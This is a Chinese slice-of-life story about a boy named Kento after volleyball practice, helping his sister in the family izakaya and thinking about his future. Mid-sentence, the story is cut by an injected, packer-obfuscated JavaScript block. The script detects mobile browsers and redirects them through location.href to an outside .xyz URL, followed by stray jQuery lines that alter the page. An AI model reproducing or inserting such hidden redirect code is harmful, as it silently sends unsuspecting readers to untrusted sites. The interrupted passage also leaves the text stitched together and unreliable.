夕阳像一颗熟透的橘子，挂在体育馆的玻璃窗外，把地板染成一片暖黄。
早川茜的战术板终于停止了它那刺耳的警报声，她摘下发圈，双马尾散成一团乱麻，像是被风吹乱的蒲公英。
黑泽龙之介靠在门框上，钢管被他随意甩在地上，发出“哐当”一声脆响。场内的空气还带着汗水和橡胶球的焦味。
“行了，今天就到这儿。”早川揉了揉太阳穴，声音里带着罕见的疲惫，“再练下去，你们这群笨蛋的脑子得烧成章鱼烧。”
“真的？！”铃木润的伪娘音飙到高八度，手里的水壶差点飞出去，“茜酱你今天吃错药了？居然让我们早回家？”
“闭嘴！”早川的战术板在空中划出一道弧线，精准砸中铃木的脑门，“再废话让你穿着你的美少女战士裙跑十圈操场！”
黑泽哼了一声，捡起钢管往肩上一扛：“别磨蹭，收拾东西滚蛋。老子还得去居酒屋喝一杯。”
建人愣了一下，宝特瓶还捏在手里，汗水顺着他的下巴滴到地板上。
他看了眼田中太郎，那家伙正忙着把湿透的《魔法少女小圆》痛T脱下来，露出瘦得像竹竿一样的肋骨。
西园寺还在角落喷防晒霜，嘴里嘀咕着什么“紫外线折射”之类没人听得懂的鬼话。
铃木润已经开始对着手机摄像头补妆，假睫毛闪得像迪斯科球。
“喂，建人！”早川的声音把他拉回现实，“愣着干嘛？想留下来擦地板？”
“没、没！”建人赶紧把宝特瓶扔进垃圾桶，抓起背包，“走了走了！”他冲到更衣室，换下湿透的队服，夜叉罗四代目护腕被他塞进包里，差点把拉链卡住。
换上便服后，他瞥了眼墙上的时钟——2011年7月14日，下午5:23。离健太的棒球预选赛还有不到16个小时，离自己的排球预选赛还有整整8天。时间像个不听话的陀螺，在他脑子里转得乱七八糟。
出了体育馆，热浪扑面而来，蝉鸣像把锯子在锯他的神经。建人把棒球帽压低，背包甩到肩上，朝公交站走去。
建人踢飞路边的一颗小石子，石子弹到电线杆上，惊飞一只肥鸽子。
他抬头，目光被街角一家电器店的橱窗吸引——一副崭新的索尼耳机摆在展示台上，黑色外壳泛着哑光金属质感，旁边的手写广告牌上写着：“最新降噪技术，专注每一刻，49800日元”。
建人盯着那耳机，脑海里浮现健太在棒球场边戴着破旧耳机、皱着眉头听风速分析的画面。
那副耳机是两年前美咲姐从二手店淘来的，线头已经磨得发白，健太却宝贝得跟什么似的。“全国大赛……”建人低声嘀咕，健太的预选赛就在明天，7月15日，大阪中央球场。
如果赢了，他们就能进全国。建人摸了摸口袋里的500日元，脑子里开始盘算：居酒屋打工的钱攒了快两万，加上比赛奖金（如果有的话），再问美咲姐借点……他摇了摇头，觉得自己像在做白日梦，但还是推开电器店的玻璃门。
店员是个戴眼镜的年轻人，正在调试一台收音机，见到建人进来，露出职业微笑：“欢迎光临！看中哪款了？”
建人指了指橱窗里的耳机，尽量让自己的声音听起来不那么穷酸：“那个，能试听吗？”店员点点头，取出耳机递给他。
建人戴上，店员播放了一段测试音——低沉的鼓点像心跳，弦乐清脆得像夏天的蝉鸣。
他闭上眼，想象健太戴着这副耳机，在甲子园的休息室里冷静分析对手的击球习惯，嘴角微微上扬的样子。
“怎么样？”店员问。
“挺好。”建人摘下耳机，假装淡定地看价格标签，“我再想想，明天来买。”
他不敢说实话——49800日元对他来说简直是天文数字。走出店门，热浪再次扑面而来，他抬头看了眼天空，晚霞像打翻的草莓酱，黏稠又耀眼。“全国冠军的礼物，起码得配得上吧。”他自言自语，脚步却轻快了几分。
回到居酒屋町屋的街道被夕阳拉出长长的影子，章鱼烧摊的焦香混着海风，钻进建人的鼻子里。居酒屋的招牌灯还没亮，门口挂着“准备中”的木牌，上面用粉笔画了一只歪歪扭扭的章鱼，明显是金太郎的爪子“杰作”。
建人推开门，门铃叮当作响，里面飘来甲鱼汤的腥味和炭火烤串的烟气。“姐！我回来了！”建人把鞋踢到玄关，背包随便一甩，差点砸中蹲在角落的金太郎。
那只柴犬正叼着夜叉丸的尾巴，俩家伙在地板上滚成一团，毛球飞得到处都是。夜叉丸发出低沉的“咕噜”声，爪子一挥，金太郎的耳朵上多了三道抓痕。
“吵死了！”美咲的声音从厨房传来，夹杂着菜刀剁砧板的“咚咚”声，“建人，过来帮忙！别跟那两只蠢货一样满地打滚！”
建人挠了挠头，走进厨房。美咲系着围裙，头发用一根筷子随意挽起，额头上有几滴汗珠。案板上堆满了处理好的鱼，鲣鱼高汤在砂锅里咕嘟冒泡，旁边还有一盘刚炸好的天妇罗，油光发亮。
美咲正忙着把黄瓜切成薄片，手速快得像在玩忍者切水果。“干啥？切菜还是洗碗？”
建人靠在冰箱旁，偷拿了一根黄瓜塞进嘴里。美咲头也没抬，团扇“啪”地拍在他手背上：“黄瓜留着给客人！去把啤酒桶搬到前台，晚上估计又得爆满。”
建人撇了撇嘴，拖着脚步去后院搬啤酒桶。居酒屋还没到营业时间，店里空荡荡的，只有几只苍蝇在吊灯上转圈。金太郎和夜叉丸的“战争”已经转移到柜台底下，猫爪和狗牙碰撞的声音像在开小型格斗赛。
搬完啤酒桶，建人一屁股坐在吧台的凳子上，掏出手机翻了翻。健太的Line头像还是那张冷漠的棒球场自拍，状态显示“正在训练”。建人给他发了条消息：“耳机想要啥牌子？全国赛后给你买。”
消息刚发出，屏幕就跳出“已读”，但没回复。“臭小子，又装酷...”
建人把手机扔到桌上，抬头正好对上美咲的视线。“又在跟你弟斗嘴？”
美咲端着一盘炸鸡块过来，随手把盘子推到他面前，“吃点，省得一会儿喊饿。”
建人抓起一块鸡块，咬了一口，油汁烫得他龇牙咧嘴：“姐，你明天真能赶上健太的比赛？”“
“说了能就能。”美咲把鱼翻了个面，酱油和味醂的香气弥漫开来，“水产市场那帮老家伙最近涨价涨得离谱，我得早点去把价杀下来。九点半前搞定，刚好能看健太最后一局。”
建人低头削土豆，嘴角不自觉上扬。美咲姐总是这样，嘴上嫌麻烦，行动却从没掉过链子。
她把腌好的鱼放进烤箱，转身拿出一本油渍斑斑的账本，开始算今天的进货成本。
厨房里安静下来，只有菜刀剁砧板的节奏和金太郎的呼噜声。夜叉丸终于玩腻了水龙头，跳到建人身边，爪子轻轻拍他的手，像在催他快点削土豆。
“建人，”美咲突然开口，声音比平时柔和几分，“你想过上哪所高中没？”
建人手一抖，削皮刀差点划到手指：“高中？随便啦，哪所学校要我我就去呗。”
“随便？”美咲皱眉，放下账本，转身盯着他，“你这敷衍的毛病跟谁学的？铁平叔？”
“姐，我真没想那么多！”建人把削好的土豆扔进水盆，溅起一片水花，“打好排球，最好拿个八强四强，然后……然后再说呗。”
美咲叹了口气，靠在料理台上，手里转着一把汤勺：“你跟健太不一样。那小子从小学就知道自己要进甲子园，目标明确得跟GPS导航似的。你呢？整天混日子，排球打得也就那样，可你想没想过以后？”
建人愣住，手里的土豆停在半空。他不是没想过未来，只是每次想到“以后”两个字，脑子里就像蒙了一层雾。
排球是他喜欢的东西，接发球的瞬间、拦网成功的快感、队友的怒吼和汗水，都是他活着的证据。可高中、大学、职业选手……这些词对他来说太遥远，像隔着玻璃橱窗的耳机，看得见，摸不着。
“姐，我……”他挠了挠头，试图找个理由搪塞，“我成绩又不好，考不上啥好学校。随便找个有排球部的高中，混三年得了。”
“混？”美咲的汤勺“啪”地拍在料理台上，金太郎吓得钻到桌子底下，“荒巻建人，你给我听着！这家居酒屋、你叔的破护腕、还有那只死狗和臭猫，都是咱们荒巻家的命根子！你敢混日子，信不信我把你塞进烤箱跟鲭鱼一起烤了！”
建人被吼得缩了缩脖子，但嘴角却忍不住上扬。美咲姐的“毒舌”是他最熟悉的温暖，像夏天的暴雨，凶猛却让人安心。
他低头继续削土豆，声音低下去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15529086|170792||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
：“姐，我知道你为我们操心。可我真不知道自己想干啥。排球打得好，能进全国最好，进不了……那就打工呗，帮你把居酒屋开成连锁店。”
“连锁店？”美咲嗤笑一声，但眼底的笑意藏不住，“你这小子，嘴甜的时候比金太郎还讨喜。行吧，高中你慢慢想，但别给我整天‘随便’。起码找个目标，哪怕是打败佐藤翔阳那种小目标。”
“佐藤那货！”建人一听这名字，立马来了精神，“姐你等着，下周预选赛，我非让他扣球扣到哭！”
“就你这接发球失误率？”美咲翻了个白眼，“先把早川教练的罚练熬过去再说。”
厨房里又恢复了忙碌的节奏，建人削完土豆，开始帮美咲洗菜。金太郎从桌子底下爬出来，又开始叼着夜叉丸的尾巴满屋子跑，猫狗大战把吧台上的啤酒罐撞得叮当乱响。
美咲一边骂一边笑，建人看着她忙碌的背影，突然觉得这个夏天格外珍贵。
健太的比赛、自己的预选赛、美咲姐的唠叨、铁平叔的破护腕，还有金太郎和夜叉丸的捣乱——这些都是荒巻家的日常，吵闹却真实。
夜晚的居酒屋营业时间到了，居酒屋的招牌灯亮起，门口的木牌被翻成“营业中”。
客人陆陆续续进来，点单的声音、啤酒杯碰撞的声音、烤串的滋滋声混在一起，像一首吵闹的交响乐。
建人被美咲赶去后厨帮忙洗碗，盘子堆得像小山，油腻腻的汤汁溅了他一身。“喂！建人！”铁平叔的声音从前台传来，“别偷懒！明天你弟的比赛，老子要去看他三振那帮龟儿子！”
“知道啦！”建人没好气地喊回去，手里的海绵刷得盘子吱吱响，“你少喝点啤酒，省得明天睡过头！”
“放屁！老子当年...”铁平的话被美咲的团扇打断，紧接着是金太郎的狂吠和夜叉丸的低吼。
建人摇摇头，继续刷盘子。厨房的收音机在放一首老歌，松田圣子的《赤いスイートピー》，旋律软绵绵的，跟居酒屋的喧闹格格不入。
他脑子里又冒出那款索尼耳机的样子，49800对他来说不是小数目。也许可以省下几天的零花钱，或者帮美咲姐多干点活，换点“投资”。
“建人！”美咲的声音又从前台传来，“洗完碗把垃圾扔了！别让金太郎翻垃圾桶！”
“知道了！”建人把最后一个盘子冲干净，擦了擦手，拎起垃圾袋往后院走。夜叉丸蹲在垃圾桶旁，尾巴甩得像螺旋桨，看到他过来，懒洋洋地跳到墙头上。
金太郎则在后院撒欢，嘴里叼着一只破拖鞋，跑得像脱缰的野马。
扔完垃圾，建人靠在后院的墙上，抬头看天。2011年的大阪，夏天的夜空干净得像块黑玻璃，星星不多，但亮得刺眼。
他掏出裤兜里的棒球，球面上“砸烂佐藤的脸”几个字在月光下有点模糊。那是健太的字迹，歪歪扭扭，跟美咲姐的针脚一个德行。
“死傲娇...”建人把球抛起来又接住，嘴角不自觉上扬。
他突然想起美咲姐的话，高中的事，未来的事。他从没认真想过，只觉得打排球很爽，赢了比赛很爽，队友们吵吵闹闹也很爽。
可美咲姐说得对，他不能一辈子靠拦网过日子。健太有他的投手丘，他呢？除了排球，他还能干啥？“啧，烦死了。”
建人把棒球塞回口袋，拍了拍手，准备回店里帮忙。刚转身，金太郎叼着一块破布冲过来，差点把他绊倒。
那块布看着眼熟，仔细一看，是田中太郎的晓美焰发带，估计是训练时被金太郎偷回来的。
“死狗！你又干啥坏事！”建人追着金太郎满院子跑，夜叉丸在墙头上看戏，尾巴甩得像在鼓掌。
尾声夜深了，居酒屋的客人渐渐散去，只剩几个醉醺醺的大叔在吧台吹牛。
美咲开始收拾桌子，铁平叔已经醉得趴在桌上，嘴里嘀咕着“甲子园...老子当年...”。
金太郎和夜叉丸终于消停，窝在柜台底下睡成一团，猫爪和狗尾巴叠在一起，像个毛茸茸的阴阳图。
建人帮着把最后几张桌子擦干净，抬头看了眼墙上的挂钟——11:47。明天是健太的比赛，后天是平常的训练，大后天是美咲姐的夏日祭套餐准备日。
日子像流水一样往前淌，他却突然有点慌，好像抓不住什么。